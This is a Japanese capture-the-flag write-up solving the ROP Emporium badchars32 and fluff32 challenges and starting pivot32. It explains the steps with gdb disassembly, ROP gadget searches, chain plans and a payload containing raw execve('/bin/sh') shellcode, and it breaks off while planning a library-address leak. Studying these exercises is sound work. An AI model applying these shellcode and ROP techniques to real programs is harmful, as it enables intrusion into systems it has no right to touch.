   0x0804883c <+59>:    jmp    0x804887c <checkBadchars+123>
   0x0804883e <+61>:    mov    DWORD PTR [ebp-0x8],0x0
   0x08048845 <+68>:    jmp    0x8048872 <checkBadchars+113>
   0x08048847 <+70>:    mov    edx,DWORD PTR [ebp+0x8] // [ebp+0x8]は入力値
   0x0804884a <+73>:    mov    eax,DWORD PTR [ebp-0x4]
   0x0804884d <+76>:    add    eax,edx
   0x0804884f <+78>:    movzx  edx,BYTE PTR [eax]
   0x08048852 <+81>:    lea    ecx,[ebp-0x10] // [ebp-0x10]はbadcharsが格納された配列の先頭
   0x08048855 <+84>:    mov    eax,DWORD PTR [ebp-0x8]
   0x08048858 <+87>:    add    eax,ecx
   0x0804885a <+89>:    movzx  eax,BYTE PTR [eax]
   0x0804885d <+92>:    cmp    dl,al
   0x0804885f <+94>:    jne    0x804886e <checkBadchars+109>
   0x08048861 <+96>:    mov    edx,DWORD PTR [ebp+0x8]
   0x08048864 <+99>:    mov    eax,DWORD PTR [ebp-0x4]
   0x08048867 <+102>:   add    eax,edx
   0x08048869 <+104>:   mov    BYTE PTR [eax],0xeb
   0x0804886c <+107>:   jmp    0x8048878 <checkBadchars+119>
   0x0804886e <+109>:   add    DWORD PTR [ebp-0x8],0x1
   0x08048872 <+113>:   cmp    DWORD PTR [ebp-0x8],0x7 // [ebp-0x8]はbadcharsが格納された配列のindex
   0x08048876 <+117>:   jbe    0x8048847 <checkBadchars+70>
   0x08048878 <+119>:   add    DWORD PTR [ebp-0x4],0x1
   0x0804887c <+123>:   mov    eax,DWORD PTR [ebp-0x4] // [ebp-0x4]はカウンタ変数
   0x0804887f <+126>:   cmp    eax,DWORD PTR [ebp+0xc] // [ebp+0xc]はnstrlenで求めた入力値の長さ
   0x08048882 <+129>:   jb     0x804883e <checkBadchars+61>
   0x08048884 <+131>:   nop
   0x08048885 <+132>:   leave  
   0x08048886 <+133>:   ret    
End of assembler dump.

いくつかコメントを書きましたが,全体としては入力値の長さ分ループしています.そして,ループの中でさらに8回ループしていて,badcharsが入力値の中に存在していないかをチェックしています.もしbadcharsがあった場合,それを0xebに置換しています.なお,badcharsというのは "b", "i", "c", "/", "", "f", "n", "s"の8個です.冒頭でそれぞれの値をmovしているのがわかると思います.つまり,この関数は特定の文字をエスケープする関数のようです.

usefulGadgets

gdb-peda$ disas usefulGadgets
Dump of assembler code for function usefulGadgets:
   0x08048890 <+0>:  xor    BYTE PTR [ebx],cl
   0x08048892 <+2>: ret    
   0x08048893 <+3>: mov    DWORD PTR [edi],esi
   0x08048895 <+5>: ret    
   0x08048896 <+6>: pop    ebx
   0x08048897 <+7>: pop    ecx
   0x08048898 <+8>: ret    
   0x08048899 <+9>: pop    esi
   0x0804889a <+10>:    pop    edi
   0x0804889b <+11>:    ret    
   0x0804889c <+12>:    xchg   ax,ax
   0x0804889e <+14>:    xchg   ax,ax
End of assembler dump.

xorがあるので,これを上手く使えば入力値チェックをすり抜けられそうです.

pwnmeがいつもと少し変わっているので見ておきます.

pwnme

gdb-peda$ disas pwnme
Dump of assembler code for function pwnme:
   0x080486b6 <+0>:  push   ebp
   0x080486b7 <+1>: mov    ebp,esp
   0x080486b9 <+3>: sub    esp,0x38
   0x080486bc <+6>: mov    DWORD PTR [ebp-0x30],0x0
   0x080486c3 <+13>:    sub    esp,0xc
   0x080486c6 <+16>:    push   0x200
   0x080486cb <+21>:    call   0x80484c0 <malloc@plt>
   0x080486d0 <+26>:    add    esp,0x10
   0x080486d3 <+29>:    mov    DWORD PTR [ebp-0x2c],eax
   0x080486d6 <+32>:    mov    eax,DWORD PTR [ebp-0x2c]
   0x080486d9 <+35>:    test   eax,eax
   0x080486db <+37>:    je     0x80486f5 <pwnme+63>
   0x080486dd <+39>:    mov    eax,DWORD PTR [ebp-0x2c]
   0x080486e0 <+42>:    sub    esp,0x4
   0x080486e3 <+45>:    push   0x200
   0x080486e8 <+50>:    push   0x0
   0x080486ea <+52>:    push   eax
   0x080486eb <+53>:    call   0x8048520 <memset@plt>
   0x080486f0 <+58>:    add    esp,0x10
   0x080486f3 <+61>:    jmp    0x80486ff <pwnme+73>
   0x080486f5 <+63>:    sub    esp,0xc
   0x080486f8 <+66>:    push   0x1
   0x080486fa <+68>:    call   0x80484f0 <exit@plt>
   0x080486ff <+73>:    sub    esp,0x4
   0x08048702 <+76>:    push   0x20
   0x08048704 <+78>:    push   0x0
   0x08048706 <+80>:    lea    eax,[ebp-0x30]
   0x08048709 <+83>:    add    eax,0x8
   0x0804870c <+86>:    push   eax
   0x0804870d <+87>:    call   0x8048520 <memset@plt>
   0x08048712 <+92>:    add    esp,0x10
   0x08048715 <+95>:    sub    esp,0xc
   0x08048718 <+98>:    push   0x804894c
   0x0804871d <+103>:   call   0x80484d0 <puts@plt>
   0x08048722 <+108>:   add    esp,0x10
   0x08048725 <+111>:   sub    esp,0xc
   0x08048728 <+114>:   push   0x8048970
   0x0804872d <+119>:   call   0x8048480 <printf@plt>
   0x08048732 <+124>:   add    esp,0x10
   0x08048735 <+127>:   mov    edx,DWORD PTR ds:0x804a060
   0x0804873b <+133>:   mov    eax,DWORD PTR [ebp-0x2c]
   0x0804873e <+136>:   sub    esp,0x4
   0x08048741 <+139>:   push   edx
   0x08048742 <+140>:   push   0x200
   0x08048747 <+145>:   push   eax
   0x08048748 <+146>:   call   0x80484b0 <fgets@plt>
   0x0804874d <+151>:   add    esp,0x10
   0x08048750 <+154>:   mov    DWORD PTR [ebp-0x2c],eax
   0x08048753 <+157>:   mov    eax,DWORD PTR [ebp-0x2c]
   0x08048756 <+160>:   sub    esp,0x8
   0x08048759 <+163>:   push   0x200
   0x0804875e <+168>:   push   eax
   0x0804875f <+169>:   call   0x80487c2 <nstrlen>
   0x08048764 <+174>:   add    esp,0x10
   0x08048767 <+177>:   mov    DWORD PTR [ebp-0x30],eax
   0x0804876a <+180>:   mov    edx,DWORD PTR [ebp-0x30]
   0x0804876d <+183>:   mov    eax,DWORD PTR [ebp-0x2c]
   0x08048770 <+186>:   sub    esp,0x8
   0x08048773 <+189>:   push   edx
   0x08048774 <+190>:   push   eax
   0x08048775 <+191>:   call   0x8048801 <checkBadchars>
   0x0804877a <+196>:   add    esp,0x10
   0x0804877d <+199>:   mov    edx,DWORD PTR [ebp-0x30]
   0x08048780 <+202>:   mov    eax,DWORD PTR [ebp-0x2c]
   0x08048783 <+205>:   sub    esp,0x4
   0x08048786 <+208>:   push   edx
   0x08048787 <+209>:   push   eax
   0x08048788 <+210>:   lea    eax,[ebp-0x30]
   0x0804878b <+213>:   add    eax,0x8
   0x0804878e <+216>:   push   eax
   0x0804878f <+217>:   call   0x80484a0 <memcpy@plt>
   0x08048794 <+222>:   add    esp,0x10
   0x08048797 <+225>:   mov    eax,DWORD PTR [ebp-0x2c]
   0x0804879a <+228>:   sub    esp,0xc
   0x0804879d <+231>:   push   eax
   0x0804879e <+232>:   call   0x8048490 <free@plt>
   0x080487a3 <+237>:   add    esp,0x10
   0x080487a6 <+240>:   nop
   0x080487a7 <+241>:   leave  
   0x080487a8 <+242>:   ret    
End of assembler dump.

少し変わっているといっても,fgetsした後nstrlenで入力値の長さを求めて,その結果を使ってcheckBadcharsにて特定の文字をエスケープしているだけです.

exploitとしては,以下のような方針でいきます.

  1. /bin/shという文字列の中で,badcharsに含まれるものは事前に適当な値をxorしておく(入力値チェック回避)
  2. write4で使ったような,任意の文字列を書き込めそうなGadgetを探す
  3. write4の時と同様のテクニックで任意の文字列を書き込む
  4. 最後に,usefulGadgetsにあったxorを使って入力値を元の/bin/shに戻す

1は省略し,write4で使った mov DWORD PTR [edi],ebp のようなGadgetがないか探します.

今回はROP gadgetを探すツールを使っていきますが,どれが精度がいいとか正直わからないので,適当なものを選んでください...

自分はこれを使っています. github.com

他にも,rp++を使っている人も多いと思います.

A painter and a black catさんのページのインストール方法を載せておきます. raintrees.net

適当なファイルにリダイレクトしておくと,何度も実行しなくて済むので便利です.

$ ROPgadget --binary badchars32 > ropgadget

mov dword ptrでgrepしてみると,いい感じのGadgetが見つかります.

$ cat ropgadget|grep "mov dword ptr"
0x08048893 : mov dword ptr [edi], esi ; ret
0x08048891 : or eax, ebx ; mov dword ptr [edi], esi ; ret

0x08048893のものを使います.さらに,ediに書き込む先のアドレスを,esiに任意の文字列を渡すために,"pop edi" と "pop esi"が欲しいところです.

ropgadgetから探してみるといい感じのGadgetが見つかります.

$ cat ropgadget|grep "pop esi" |grep "pop edi"
..............................................................................................
0x080488f9 : pop esi ; pop edi ; pop ebp ; ret
0x08048899 : pop esi ; pop edi ; ret

この0x08048899を使えば良かったのですが,僕は解いたときにpeda内でropgadgetコマンドを打って出てきたpop3ret(上記の0x080488f9にあるGadget)を使ってしまったので,下記は0x080488f9のGadgetを使って解いていますが,0x08048899のほうを使ったほうが綺麗に解けるかと思います.

あと,xorする際に必要なGadgetとして, pop ebx ; pop ecx ; ret のようなものも探しておきます.これは綺麗に1個だけ出てくると思います.

$ cat ropgadget|grep "pop ebx" |grep "pop ecx"
0x08048896 : pop ebx ; pop ecx ; ret

任意の文字列を書き込む先としては,前回のwrite4と同じくreadelfで求めて,bssセクションを書き込み先として使用します.

あとは,頑張ってexploitを書くだけです.

exploit

badchars32

$ python badchars32-exploit.py
[+] Starting local process './badchars32': pid 21188
badchars by ROP Emporium
32bits

badchars are: b i c / <space> f n s
> 
[*] Switching to interactive mode
$ 
$ whoami
yyy
$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}

fluff

$ file fluff32
fluff32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2b376a74b4e9897a4220c448d931704a229b8804, not stripped

$ ./fluff32
fluff by ROP Emporium
32bits

You know changing these strings means I have to rewrite my solutions...
> hoge

Exiting

gdbで見てみます.

$ gdb fluff32
Reading symbols from fluff32...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x080483c0  _init
0x08048400  printf@plt
0x08048410  fgets@plt
0x08048420  puts@plt
0x08048430  system@plt
0x08048440  __libc_start_main@plt
0x08048450  setvbuf@plt
0x08048460  memset@plt
0x08048480  _start
0x080484b0  __x86.get_pc_thunk.bx
0x080484c0  deregister_tm_clones
0x080484f0  register_tm_clones
0x08048530  __do_global_dtors_aux
0x08048550  frame_dummy
0x0804857b  main
0x080485f6  pwnme
0x0804864c  usefulFunction
0x08048670  questionableGadgets
0x080486a0  __libc_csu_init
0x08048700  __libc_csu_fini
0x08048704  _fini

questionableGadgetsという関数が追加されています.

usefulFunctionから見ていきます.

usefulFunction

gdb-peda$ disas usefulFunction 
Dump of assembler code for function usefulFunction:
   0x0804864c <+0>:  push   ebp
   0x0804864d <+1>: mov    ebp,esp
   0x0804864f <+3>: sub    esp,0x8
   0x08048652 <+6>: sub    esp,0xc
   0x08048655 <+9>: push   0x8048793
   0x0804865a <+14>:    call   0x8048430 <system@plt>
   0x0804865f <+19>:    add    esp,0x10
   0x08048662 <+22>:    nop
   0x08048663 <+23>:    leave  
   0x08048664 <+24>:    ret    
End of assembler dump.
gdb-peda$ x/s 0x8048793
0x8048793: "/bin/ls"

例によって,lsするだけの関数になっているので/bin/shをsystemに渡してシェルを起動させたいところです.

questionableGadgets

gdb-peda$ disas questionableGadgets 
Dump of assembler code for function questionableGadgets:
   0x08048670 <+0>:  pop    edi
   0x08048671 <+1>: xor    edx,edx
   0x08048673 <+3>: pop    esi
   0x08048674 <+4>: mov    ebp,0xcafebabe
   0x08048679 <+9>: ret    
   0x0804867a <+10>:    pop    esi
   0x0804867b <+11>:    xor    edx,ebx
   0x0804867d <+13>:    pop    ebp
   0x0804867e <+14>:    mov    edi,0xdeadbabe
   0x08048683 <+19>:    ret    
   0x08048684 <+20>:    mov    edi,0xdeadbeef
   0x08048689 <+25>:    xchg   edx,ecx
   0x0804868b <+27>:    pop    ebp
   0x0804868c <+28>:    mov    edx,0xdefaced0
   0x08048691 <+33>:    ret    
   0x08048692 <+34>:    pop    edi
   0x08048693 <+35>:    mov    DWORD PTR [ecx],edx
   0x08048695 <+37>:    pop    ebp
   0x08048696 <+38>:    pop    ebx
   0x08048697 <+39>:    xor    BYTE PTR [ecx],bl
   0x08048699 <+41>:    ret    
   0x0804869a <+42>:    xchg   ax,ax
   0x0804869c <+44>:    xchg   ax,ax
   0x0804869e <+46>:    xchg   ax,ax
End of assembler dump.

いろいろなGadgetsがゴチャゴチャしていてよくわかりません.問題文を読む限り,考え方はwrite4と一緒らしいですが,Gadgetを駆使して頑張らないといけないっぽいです.

注目するべきは mov DWORD PTR [ecx], edx ですかね.ecxとedxに上手く値を用意できればwrite4の時と同様に任意の文字列を書き込むことができそうです.しかし,この問題の面白いところが, pop ecxpop edx が実行ファイル中に見つかりません.

$ ROPgadget --binary fluff32 > ropgadget
$ cat ropgadget |grep "pop ecx"
$ cat ropgadget |grep "pop edx"

どうしたらよいでしょうか?もう一度questionableGadgetsを見てみます.よく見ると, xor edx,edxxor edx,ebxxchg edx,ecxpop ebx の4つの命令があると思います.

この4つの命令を駆使すれば,edxとecxに任意の値を用意することができないでしょうか?

例えば,edxに任意の値を用意するなら

  1. xor edx edx でedxを初期化
  2. pop ebx でebxに任意の値を用意
  3. xor edx ebx で0と任意の値との排他的論理和を取ることで,edxには最終的に任意の値が入る

こんな感じです.ecxに格納するなら,

xchg edx, ecx でedxに入れた任意の値とecxを交換

を4つ目に加えれば完璧です.

一つ注意する点としては mov DWORD PTR [ecx],edx と ret の間に xor BYTE PTR [ecx],bl という余計な命令が入っている点です.よって,blレジスタには0を入れるようにして,xorによって値が変わらないようにしておきます.

ROP chainの流れとしては,

  1. bss addressをecxに用意
  2. /binをedxに用意
  3. /binをbss addressに格納
  4. bss address + 4をecxに用意
  5. /sh\x00をedxに用意
  6. /sh\x00をbss address + 4に格納
  7. call system

のようになります.

exploit

fluff32

$ python fluff32-exploit.py
[+] Starting local process './fluff32': pid 24177
fluff by ROP Emporium
32bits

You know changing these strings means I have to rewrite my solutions..
[*] Switching to interactive mode
.
> $ 
$ whoami
yyy
$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}

pivot

$ file pivot32
pivot32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7d291f508294412d56bfbc9b8a5a36de5330596, not stripped

$ ./pivot32
pivot by ROP Emporium
32bits

Call ret2win() from libpivot.so
The Old Gods kindly bestow upon you a place to pivot: 0xf7dedf08
Send your second chain now and it will land there
> hoge
Now kindly send your stack smash
> fuga

Exiting

今回は入力値を2回受け取るようです.

gdbで見てみます.

$ gdb pivot32
Reading symbols from pivot32...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x08048550  _init
0x08048590  printf@plt
0x080485a0  free@plt
0x080485b0  fgets@plt
0x080485c0  malloc@plt
0x080485d0  puts@plt
0x080485e0  exit@plt
0x080485f0  foothold_function@plt
0x08048600  __libc_start_main@plt
0x08048610  setvbuf@plt
0x08048620  memset@plt
0x08048640  _start
0x08048670  __x86.get_pc_thunk.bx
0x08048680  deregister_tm_clones
0x080486b0  register_tm_clones
0x080486f0  __do_global_dtors_aux
0x08048710  frame_dummy
0x0804873b  main
0x080487f2  pwnme
0x080488a1  uselessFunction
0x080488c0  usefulGadgets
0x080488d0  __libc_csu_init
0x08048930  __libc_csu_fini
0x08048934  _fini

pwnmeから見ていきます.

pwnme

gdb-peda$ disas pwnme
Dump of assembler code for function pwnme:
   0x080487f2 <+0>:  push   ebp
   0x080487f3 <+1>: mov    ebp,esp
   0x080487f5 <+3>: sub    esp,0x28
   0x080487f8 <+6>: sub    esp,0x4
   0x080487fb <+9>: push   0x20
   0x080487fd <+11>:    push   0x0
   0x080487ff <+13>:    lea    eax,[ebp-0x28]
   0x08048802 <+16>:    push   eax
   0x08048803 <+17>:    call   0x8048620 <memset@plt>
   0x08048808 <+22>:    add    esp,0x10
   0x0804880b <+25>:    sub    esp,0xc
   0x0804880e <+28>:    push   0x8048978
   0x08048813 <+33>:    call   0x80485d0 <puts@plt>
   0x08048818 <+38>:    add    esp,0x10
   0x0804881b <+41>:    sub    esp,0x8
   0x0804881e <+44>:    push   DWORD PTR [ebp+0x8]
   0x08048821 <+47>:    push   0x8048998
   0x08048826 <+52>:    call   0x8048590 <printf@plt>
   0x0804882b <+57>:    add    esp,0x10
   0x0804882e <+60>:    sub    esp,0xc
   0x08048831 <+63>:    push   0x80489d4
   0x08048836 <+68>:    call   0x80485d0 <puts@plt>
   0x0804883b <+73>:    add    esp,0x10
   0x0804883e <+76>:    sub    esp,0xc
   0x08048841 <+79>:    push   0x8048a06
   0x08048846 <+84>:    call   0x8048590 <printf@plt>
   0x0804884b <+89>:    add    esp,0x10
   0x0804884e <+92>:    mov    eax,ds:0x804a060
   0x08048853 <+97>:    sub    esp,0x4
   0x08048856 <+100>:   push   eax
   0x08048857 <+101>:   push   0x100
   0x0804885c <+106>:   push   DWORD PTR [ebp+0x8]
   0x0804885f <+109>:   call   0x80485b0 <fgets@plt>
   0x08048864 <+114>:   add    esp,0x10
   0x08048867 <+117>:   sub    esp,0xc
   0x0804886a <+120>:   push   0x8048a0c
   0x0804886f <+125>:   call   0x80485d0 <puts@plt>
   0x08048874 <+130>:   add    esp,0x10
   0x08048877 <+133>:   sub    esp,0xc
   0x0804887a <+136>:   push   0x8048a06
   0x0804887f <+141>:   call   0x8048590 <printf@plt>
   0x08048884 <+146>:   add    esp,0x10
   0x08048887 <+149>:   mov    eax,ds:0x804a060
   0x0804888c <+154>:   sub    esp,0x4
   0x0804888f <+157>:   push   eax
   0x08048890 <+158>:   push   0x3a
   0x08048892 <+160>:   lea    eax,[ebp-0x28]
   0x08048895 <+163>:   push   eax
   0x08048896 <+164>:   call   0x80485b0 <fgets@plt>
   0x0804889b <+169>:   add    esp,0x10
   0x0804889e <+172>:   nop
   0x0804889f <+173>:   leave  
   0x080488a0 <+174>:   ret    
End of assembler dump.

1度目のfgetsの前に push DWORD PTR [ebp+0x8] という行があることから(ebpに∔すると渡された引数に対してアクセスできます.-すればローカル変数へ)pwnmeに渡された引数を,fgetsで受け取る先として使用しているのがわかります.

2度目のfgetsはいつものpwnmeと同様にローカル変数を格納先としています.

1度目のfgetsに渡された引数はどういうものなのか,mainを見ていこうと思います.

main

gdb-peda$ disas main
Dump of assembler code for function main:
   0x0804873b <+0>:  lea    ecx,[esp+0x4]
   0x0804873f <+4>: and    esp,0xfffffff0
   0x08048742 <+7>: push   DWORD PTR [ecx-0x4]
   0x08048745 <+10>:    push   ebp
   0x08048746 <+11>:    mov    ebp,esp
   0x08048748 <+13>:    push   ecx
   0x08048749 <+14>:    sub    esp,0x14
   0x0804874c <+17>:    mov    eax,ds:0x804a064
   0x08048751 <+22>:    push   0x0
   0x08048753 <+24>:    push   0x2
   0x08048755 <+26>:    push   0x0
   0x08048757 <+28>:    push   eax
   0x08048758 <+29>:    call   0x8048610 <setvbuf@plt>
   0x0804875d <+34>:    add    esp,0x10
   0x08048760 <+37>:    mov    eax,ds:0x804a040
   0x08048765 <+42>:    push   0x0
   0x08048767 <+44>:    push   0x2
   0x08048769 <+46>:    push   0x0
   0x0804876b <+48>:    push   eax
   0x0804876c <+49>:    call   0x8048610 <setvbuf@plt>
   0x08048771 <+54>:    add    esp,0x10
   0x08048774 <+57>:    sub    esp,0xc
   0x08048777 <+60>:    push   0x8048950
   0x0804877c <+65>:    call   0x80485d0 <puts@plt>
   0x08048781 <+70>:    add    esp,0x10
   0x08048784 <+73>:    sub    esp,0xc
   0x08048787 <+76>:    push   0x8048966
   0x0804878c <+81>:    call   0x80485d0 <puts@plt>
   0x08048791 <+86>:    add    esp,0x10
   0x08048794 <+89>:    sub    esp,0xc
   0x08048797 <+92>:    push   0x1000000
   0x0804879c <+97>:    call   0x80485c0 <malloc@plt>
   0x080487a1 <+102>:   add    esp,0x10
   0x080487a4 <+105>:   mov    DWORD PTR [ebp-0xc],eax
   0x080487a7 <+108>:   mov    eax,DWORD PTR [ebp-0xc]
   0x080487aa <+111>:   add    eax,0xffff00
   0x080487af <+116>:   mov    DWORD PTR [ebp-0x10],eax
   0x080487b2 <+119>:   sub    esp,0xc
   0x080487b5 <+122>:   push   DWORD PTR [ebp-0x10]
   0x080487b8 <+125>:   call   0x80487f2 <pwnme>
   0x080487bd <+130>:   add    esp,0x10
   0x080487c0 <+133>:   mov    DWORD PTR [ebp-0x10],0x0
   0x080487c7 <+140>:   sub    esp,0xc
   0x080487ca <+143>:   push   DWORD PTR [ebp-0xc]
   0x080487cd <+146>:   call   0x80485a0 <free@plt>
   0x080487d2 <+151>:   add    esp,0x10
   0x080487d5 <+154>:   sub    esp,0xc
   0x080487d8 <+157>:   push   0x804896e
   0x080487dd <+162>:   call   0x80485d0 <puts@plt>
   0x080487e2 <+167>:   add    esp,0x10
   0x080487e5 <+170>:   mov    eax,0x0
   0x080487ea <+175>:   mov    ecx,DWORD PTR [ebp-0x4]
   0x080487ed <+178>:   leave  
   0x080487ee <+179>:   lea    esp,[ecx-0x4]
   0x080487f1 <+182>:   ret    
End of assembler dump.

pwnmeの前で0x1000000を引数にmallocしているのがわかると思います.その後 add eax,0xffff00 で,確保した領域からpwnmeへ渡す分を調整してpwnmeへそのアドレスを渡しています.つまり,1度目のfgetsはmallocで確保したheap領域を使っていることがわかります.2度目のfgetsはいつも通りの入力値でBoFします.

2度目のfgetsですが,いつも通りの入力値でBoFするのは確かなんですが,いつものように長い値を入れることができません.試しに,以下のような入力を試してみます.

$ python -c 'print "A\n" + "A" * 44 + "B" * 100' > input.txt

pwnmeのretにブレークポイントをしかけてスタックの状態を見てみます.

$ gdb pivot32
Reading symbols from pivot32...(no debugging symbols found)...done.
gdb-peda$ b *0x80488a0
Breakpoint 1 at 0x80488a0
gdb-peda$ run < input.txt
.............................................
[----------------------------------registers-----------------------------------]
EAX: 0xffffbd00 ('A' <repeats 44 times>, 'B' <repeats 13 times>)
EBX: 0x0 
ECX: 0x0 
EDX: 0xf7fa387c --> 0x0 
ESI: 0xf7fa2000 --> 0x1b1db0 
EDI: 0xf7fa2000 --> 0x1b1db0 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffbd2c ('B' <repeats 13 times>)
EIP: 0x80488a0 (<pwnme+174>:    ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804889b <pwnme+169>:    add    esp,0x10
   0x804889e <pwnme+172>:    nop
   0x804889f <pwnme+173>:    leave  
=> 0x80488a0 <pwnme+174>:   ret    
   0x80488a1 <uselessFunction>:   push   ebp
   0x80488a2 <uselessFunction+1>:    mov    ebp,esp
   0x80488a4 <uselessFunction+3>:    sub    esp,0x8
   0x80488a7 <uselessFunction+6>:    call   0x80485f0 <foothold_function@plt>
[------------------------------------stack-------------------------------------]
0000| 0xffffbd2c ('B' <repeats 13 times>)
0004| 0xffffbd30 ("BBBBBBBBB")
0008| 0xffffbd34 ("BBBBB")
0012| 0xffffbd38 --> 0x42 ('B')
0016| 0xffffbd3c --> 0x0 
0020| 0xffffbd40 --> 0x1 
0024| 0xffffbd44 --> 0xffffbe04 --> 0xffffc0b1 ("/home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32")
0028| 0xffffbd48 --> 0xf7dedf08 --> 0xa41 ('A\n')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080488a0 in pwnme ()
gdb-peda$ 

100文字入力したはずのBが,13文字しか格納されていないのがわかるでしょうか.

このように,今回の問題はスタックのスペースが限られています.よって,問題文にもある通りstack pivotというテクニックを使っていきます.

stack pivotとは?

ももテクさんの記事がわかりやすいので引用させて頂くと,

xchgは二つのレジスタの値を交換する命令である。 GOT overwriteの書き換え先としてこのgadgetを利用すると、ジャンプした後eaxレジスタとespレジスタの値が交換され、スタックの頭が box1->buf に移動する。 そしてret命令が実行されると、 box1->buf の最初の4バイトが次のリターンアドレスとして参照される。 つまり、スタックバッファオーバーフローにおけるReturn-to-libcと同様のレイアウトで box1->buf にデータを入れておけば、そのままそれが実行されていくことになる。

このようにしてスタックの頭を差し替える方法は、Stack pivotと呼ばれる。 Stack pivotには、次のようなROP gadgetがよく用いられる。

  • xchg esp,eax
  • mov esp,eax
  • add esp,[some constant]

inaz2.hatenablog.com

つまり,xchgなどを使ってesp(スタックの先頭)を任意のアドレスと入れ替えれば,その後は入れ替えたアドレスの先を実行していくということで,今回のusefulGadgetsにも以下のようにstack pivotできるROP gadgetがあるのがわかります.

usefulGadgets

gdb-peda$ disas usefulGadgets 
Dump of assembler code for function usefulGadgets:
   0x080488c0 <+0>:  pop    eax
   0x080488c1 <+1>: ret    
   0x080488c2 <+2>: xchg   esp,eax
   0x080488c3 <+3>: ret    
   0x080488c4 <+4>: mov    eax,DWORD PTR [eax]
   0x080488c6 <+6>: ret    
   0x080488c7 <+7>: add    eax,ebx
   0x080488c9 <+9>: ret    
   0x080488ca <+10>:    xchg   ax,ax
   0x080488cc <+12>:    xchg   ax,ax
   0x080488ce <+14>:    xchg   ax,ax
End of assembler dump.

usefulFunctionも見ておきます.

usefulFunction

gdb-peda$ disas uselessFunction 
Dump of assembler code for function uselessFunction:
   0x080488a1 <+0>:  push   ebp
   0x080488a2 <+1>: mov    ebp,esp
   0x080488a4 <+3>: sub    esp,0x8
   0x080488a7 <+6>: call   0x80485f0 <foothold_function@plt>
   0x080488ac <+11>:    sub    esp,0xc
   0x080488af <+14>:    push   0x1
   0x080488b1 <+16>:    call   0x80485e0 <exit@plt>
End of assembler dump.

foothold_function@pltを呼ぶだけのようです.今回はlibpivot32.soが渡されているので,foothold_functionの実体はここにありそうです.

問題文にも書いてあるのですが,今回のゴールはlibpivot32.soの中にあるret2winを呼ぶことです.ですがその前に,僕は1度目のfgetsでシェルコードを流し込んで,2度目でstack pivotして流し込んだシェルコードを実行できるのでは!?と思いました.

つまりこういうpayloadです.2度目のfgetsへはpop_eaxでeaxにpivot_addrを準備し,xchg_esp_eaxすることによりstack pivotを行うようなコード片を与えます.

payload = ""
payload += "\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x53\x31\xd2\x52\x6a\x0b\x58\xcd\x80"  # shellcode
payload += "\n"
payload += "A" * 44
payload += p32(pop_eax)
payload += p32(pivot_addr)
payload += p32(xchg_esp_eax)

ですが,いざシェルコードまで遷移して実行しようとするとinvalidと言われてしまいました.これは,mallocで確保した領域に実行権限がないために起こります.

gdb-peda$ vmmap 0xf7dedf08
Start      End        Perm  Name
0xf6dee000 0xf7df0000 rw-p  mapped

rw-pとなっていて,実行権限がついていないことがわかるでしょうか.これはNXビットというセキュリティ機構によって実現されていて,今回NXビットが有効になっているのでこのようになります.

少し話がそれましたが,libpivot32.soの中にあるret2winを呼ぶためにはどうするかを考えます.ret2winはpivot32の中にはないので,このままではアドレスがわからず呼ぶことはできそうにないです.そのため,libpivot32.soのベースアドレスというものを求めます.ベースアドレスとはその共有ライブラリがどこにロードされているのかという情報です.

pedaで見てみます.vmmapというコマンドを使います.

gdb-peda$ vmmap
Start      End        Perm  Name
0x08048000 0x08049000 r-xp    /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32
0x08049000 0x0804a000 r--p    /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32
0x0804a000 0x0804b000 rw-p  /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32
0xf6dee000 0xf7df0000 rw-p  mapped
0xf7df0000 0xf7fa0000 r-xp    /lib/i386-linux-gnu/libc-2.23.so
0xf7fa0000 0xf7fa2000 r--p    /lib/i386-linux-gnu/libc-2.23.so
0xf7fa2000 0xf7fa3000 rw-p  /lib/i386-linux-gnu/libc-2.23.so
0xf7fa3000 0xf7fa6000 rw-p  mapped
0xf7fd0000 0xf7fd1000 r-xp    /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/libpivot32.so
0xf7fd1000 0xf7fd2000 r--p    /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/libpivot32.so
0xf7fd2000 0xf7fd3000 rw-p  /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/libpivot32.so
0xf7fd3000 0xf7fd5000 rw-p  mapped
0xf7fd5000 0xf7fd7000 r--p    [vvar]
0xf7fd7000 0xf7fd9000 r-xp    [vdso]
0xf7fd9000 0xf7ffb000 r-xp    /lib/i386-linux-gnu/ld-2.23.so
0xf7ffb000 0xf7ffc000 rw-p  mapped
0xf7ffc000 0xf7ffd000 r--p    /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 rw-p  /lib/i386-linux-gnu/ld-2.23.so
0xfffdc000 0xffffe000 rw-p  [stack]

0xf7fd0000にlibpivot32.soが読み込まれているのがわかるでしょうか.これがlibpivot32.soのベースアドレスです.

ではこれを,pivot32からどうにかして読み出します.その為には,シンボル解決された関数のアドレスを出力系の関数で流出させ,そこからその関数のlibc内でのオフセットを引きます.

今回はlibpivot32.soの中で使われているfoothold_functionという関数がpivot32の中にあるので,これを使います.方針としては以下のようになります.

  1. 1度目のfgetsにfoothold_function@plt,printf,main,foothold_function@gotの順に与える
  2. 2度目のfgetsでBoFさせてstack pivot
